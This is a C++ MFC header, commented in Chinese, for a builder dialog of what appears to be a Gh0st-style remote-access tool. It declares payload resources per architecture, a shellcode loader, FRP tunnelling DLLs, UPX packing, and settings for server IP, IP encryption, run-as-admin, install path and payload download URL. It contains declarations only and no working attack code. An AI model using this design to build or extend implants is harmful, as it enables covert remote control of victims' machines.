#pragma once #include "Buffer.h" #include "LangManager.h" // 读取资源:优先从 res 目录读取外部文件,如果不存在则使用内嵌资源 // resName: 外部文件名(如 "ghost_x64.exe"),为空时直接使用内嵌资源 LPBYTE ReadResource(int resourceId, DWORD& dwSize, const char* resName = nullptr); std::string ReleaseEXE(int resID, const char* name, const char* resName = nullptr); // ========== res 目录外部资源文件名定义 ========== // 命名规范:<模块名>_<架构>.exe/.dll/.bin // 架构:x86 / x64 / linux / macos namespace ResFileName { // Ghost 主程序 extern const char* GHOST_X86; extern const char* GHOST_X64; extern const char* GHOST_LINUX; extern const char* GHOST_MACOS; // 预留 // TestRun 加载器 extern const char* TESTRUN_X86; extern const char* TESTRUN_X64; // ServerDll extern const char* SERVERDLL_X86; extern const char* SERVERDLL_X64; // TinyRun extern const char* TINYRUN_X86; extern const char* TINYRUN_X64; // SCLoader (Shellcode加载器) extern const char* SCLOADER_X86; extern const char* SCLOADER_X64; extern const char* SCLOADER_X86_OLD; extern const char* SCLOADER_X64_OLD; // FRP 相关 (无架构区分,64位DLL) extern const char* FRPC_DLL; extern const char* FRPS_DLL; // 工具 extern const char* UPX_EXE; extern const char* RCEDIT_EXE; } CString BuildPayloadUrl(const char* ip, const char* name); // CBuildDlg 对话框 class CBuildDlg : public CDialogLang { DECLARE_DYNAMIC(CBuildDlg) public: CBuildDlg(CWnd* pParent = NULL); // 标准构造函数 virtual ~CBuildDlg(); // 对话框数据 enum { IDD = IDD_DIALOG_BUILD }; CMenu m_MainMenu; BOOL m_runasAdmin; protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 CString GetFilePath(CString type, CString filter, BOOL isOpen = TRUE); BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult); DECLARE_MESSAGE_MAP() public: CString m_strIP; CString m_strPort; afx_msg void OnBnClickedOk(); virtual BOOL OnInitDialog(); CComboBox m_ComboExe; afx_msg void OnCbnSelchangeComboExe(); CStatic m_OtherItem; CComboBox m_ComboBits; CComboBox m_ComboRunType; CComboBox m_ComboProto; CComboBox m_ComboEncrypt; afx_msg void OnHelpParameters(); CComboBox m_ComboCompress; CString m_strFindden; afx_msg void OnHelpFindden(); CEdit m_EditGroup; CString m_sGroupName; CString m_strEncryptIP; afx_msg void OnMenuEncryptIp(); afx_msg void OnClientRunasAdmin(); CComboBox m_ComboPayload; afx_msg void OnCbnSelchangeComboCompress(); CStatic m_StaticPayload; CSliderCtrl m_SliderClientSize; CEdit m_EditInstallDir; CEdit m_EditInstallName; CString m_sInstallDir; CString m_sInstallName; afx_msg void OnEnChangeEditInstallDir(); afx_msg void OnEnChangeEditInstallName(); afx_msg void OnEnKillfocusEditInstallDir(); afx_msg void OnEnKillfocusEditInstallName(); afx_msg void OnRandomName(); CButton m_BtnFileServer; CStatic m_StaticDownload; CEdit m_EditDownloadUrl; CString m_sDownloadUrl; afx_msg void OnBnClickedCheckFileserver(); afx_msg void OnCbnSelchangeComboPayload(); };